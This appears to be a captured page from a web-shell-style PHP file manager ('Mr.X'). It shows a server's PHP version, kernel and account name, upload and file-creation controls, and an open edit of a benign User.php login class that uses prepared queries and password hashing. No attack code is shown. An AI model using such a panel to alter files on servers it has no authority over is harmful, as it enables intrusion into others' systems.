🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:User.php
<?php class User { private $db; public function __construct(){ $this->db = new Database; } // Login User public function login($username, $password){ $this->db->query('SELECT * FROM users WHERE username = :username'); $this->db->bind(':username', $username); $row = $this->db->single(); if($row){ $hashed_password = $row->password; if(password_verify($password, $hashed_password)){ return $row; } else { return false; } } else { return false; } } // Find user by username public function findUserByUsername($username){ $this->db->query('SELECT * FROM users WHERE username = :username'); $this->db->bind(':username', $username); $row = $this->db->single(); if($this->db->rowCount() > 0){ return true; } else { return false; } } }
Save Changes
Cancel
Create New File
Create New Folder